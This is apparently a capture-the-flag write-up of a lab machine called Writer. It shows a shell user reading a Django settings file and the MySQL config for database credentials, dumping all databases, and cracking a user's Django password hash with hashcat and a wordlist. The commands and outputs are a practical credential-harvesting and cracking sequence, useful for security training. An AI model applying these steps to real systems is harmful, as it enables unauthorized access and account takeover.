writer2


The presence of the development web server was already suspected during the enumeration phase before even gaining a foothold

www-data@writer:/var/www$ ll
total 20K
4.0k drwxrws---  6 www-data smbgroup 4.0k apr 19 14:26 writer2_project
4.0K drwxr-xr-x  5 root     root     4.0K Jun 22  2021 .
4.0K drwxr-xr-x  2 root     root     4.0K Jun 17  2021 html
4.0K drwxr-xr-x  3 www-data www-data 4.0K May 17  2021 writer.htb
4.0K drwxr-xr-x 14 root     root     4.0K May 13  2021 ..

The /var/www/writer2_project directory has already been enumerated by checking out the apache2 configuration file from the SQLi file read earlier.

www-data@writer:/var/www$ cd writer2_project ; ll
total 32K
4.0k -r-xr-sr-x 1 www-data smbgroup  806 apr 19 18:24 manage.py
4.0k -r-xr-sr-x 1 www-data smbgroup   15 apr 19 18:24 requirements.txt
4.0k drwxrws--- 6 www-data smbgroup 4.0k apr 19 14:26 .
4.0K dr-xr-sr-x 4 www-data smbgroup 4.0K Jul  9  2021 staticfiles
4.0K drwxr-xr-x 5 root     root     4.0K Jun 22  2021 ..
4.0K dr-xr-sr-x 4 www-data smbgroup 4.0K May 19  2021 writer_web
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 19  2021 writerv2
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 16  2021 static

Check the directory inside, I see the manage.py file, which was configured to run upon every bootup by cronjob I also see the application directory for the development version of the web app; writerv2

www-data@writer:/var/www/writer2_project$ ps -auxwww | grep -i manage.py
www-data     987  0.0  0.0   2608   596 ?        ss   09:05   0:00 /bin/sh -c cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080
www-data     990  0.0  0.9  52668 39216 ?        s    09:05   0:02 python3 manage.py runserver 127.0.0.1:8080
www-data   35745  1.5  1.0 128976 43240 ?        sl   18:26   0:00 /usr/bin/python3 manage.py runserver 127.0.0.1:8080

This could be double-checked. It is running internally on the port 8080 over the loopback address. The fact that it’s running with the privileges of the current user doesn’t come as valuable to investigate further.

www-data@writer:/var/www/writer2_project$ cd writerv2 ; ll
total 24K
   0 -r-xr-s--- 1 www-data smbgroup    0 apr 19 18:28 __init__.py
4.0k -r-xr-s--- 1 www-data smbgroup 3.3k apr 19 18:28 settings.py
4.0k -r-xr-s--- 1 www-data smbgroup  817 apr 19 18:28 urls.py
4.0k -r-xr-s--- 1 www-data smbgroup  401 apr 19 18:28 wsgi.py
4.0k drwxrws--- 6 www-data smbgroup 4.0k apr 19 14:26 ..
4.0K dr-xr-s--- 2 www-data smbgroup 4.0K May 19  2021 __pycache__
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 19  2021 .

The writerv2 directory indeed contains a configuration file; settings.py

www-data@writer:/var/www/writer2_project/writerv2$ grep -v '^#' settings.py
 
import os
 
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
 
SECRET_KEY = 'q2!1iwm^9jlx@4u66k(ke!_=(5uacvl@%%(g&6=$$m1u5n=*4-'
DEBUG = False
ALLOWED_HOSTS = ['127.0.0.1']
[...REDACTED...]
 
DATABASES = {
    'default': {
        'engine': 'django.db.backends.mysql',
        'options': {
            'read_default_file': '/etc/mysql/my.cnf',
        },
    }
}
 
[..REDACTED...]

I expected the DB connection string here but the configuration file is pointing to the /etc/mysql/my.cnf file for that.

DB


www-data@writer:/var/www/writer2_project/writerv2$ grep -v '^#' /etc/mysql/my.cnf
 
[client-server]
 
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
 
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

Checking the /etc/mysql/my.cnf file indeed reveals the DB credential for the development instance of the web app

mysql


www-data@writer:/$ mysql -udjangouser -pDjangoSuperPassword -D dev
show databases;

Attempting to connect to the DB instance just hangs. I had to re-establish the connection

I will just dump the while Database using mysqldump

mysqldump


www-data@writer:/etc/mysql$ mysqldump --user=djangouser --password=DjangoSuperPassword --host=localhost --all-databases 
Info: Using unique option prefix 'database' is error-prone and can break in the future. Please use the full name 'databases' instead.
Warning: mysqldump: ignoring option '--databases' due to invalid value 'dev'
-- MySQL dump 10.19  Distrib 10.3.29-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost    Database: 
-- ------------------------------------------------------
-- Server version	10.3.29-MariaDB-0ubuntu0.20.04.1
--
-- Current Database: `dev`
--
 
[...REDACTED...]
 
--
-- Table structure for table `auth_user`
--
 
DROP TABLE IF EXISTS `auth_user`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `auth_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `password` varchar(128) NOT NULL,
  `last_login` datetime(6) DEFAULT NULL,
  `is_superuser` tinyint(1) NOT NULL,
  `username` varchar(150) NOT NULL,
  `first_name` varchar(150) NOT NULL,
  `last_name` varchar(150) NOT NULL,
  `email` varchar(254) NOT NULL,
  `is_staff` tinyint(1) NOT NULL,
  `is_active` tinyint(1) NOT NULL,
  `date_joined` datetime(6) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `auth_user`
--
 
LOCK TABLES `auth_user` WRITE;
/*!40000 ALTER TABLE `auth_user` DISABLE KEYS */;
INSERT INTO `auth_user` VALUES (1,'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=',NULL,1,'kyle','','','kyle@writer.htb',1,1,'2021-05-19 12:41:37.168368');
/*!40000 ALTER TABLE `auth_user` ENABLE KEYS */;
UNLOCK TABLES;
 
[...REDACTED...]
 
-- Dump completed on 2023-04-19 18:39:38

While there is much data dumped out, the most important piece here is the credential string The django.auth_user table contains that pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= for the kyle user

Password Cracking


┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ hashcat --show kyle.hash
10000 | Django (PBKDF2-SHA256) | Framework

Hashcat flags it as the PBKDF2-SHA256 hash from Django

┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ hashcat -a 0 -m 10000 kyle.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
 
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
 
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
 
pbkdf2_sha256$260000$wjo3ztk0folcbssns1wjpd$bbtycb8dywmgylz4dsarozty7wczcs7dv6l5dpuxm4a=:marcoantonio
 
session..........: hashcat
status...........: Cracked
hash.mode........: 10000 (Django (PBKDF2-SHA256))
hash.target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
time.started.....: Wed Apr 19 20:45:58 2023 (2 mins, 32 secs)
time.estimated...: Wed Apr 19 20:48:30 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........:       81 H/s (4.49ms) @ Accel:512 Loops:32 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 12288/14344385 (0.09%)
rejected.........: 0/12288 (0.00%)
restore.point....: 9216/14344385 (0.06%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:259968-259999
candidate.engine.: Device Generator
candidates.#1....: rubberducky -> hawkeye
hardware.mon.#1..: Util: 83%
 
started: Wed Apr 19 20:45:42 2023
stopped: Wed Apr 19 20:48:32 2023

hashcat cracked the password hash The cracked password is marcoantonio

I should test it for password reuse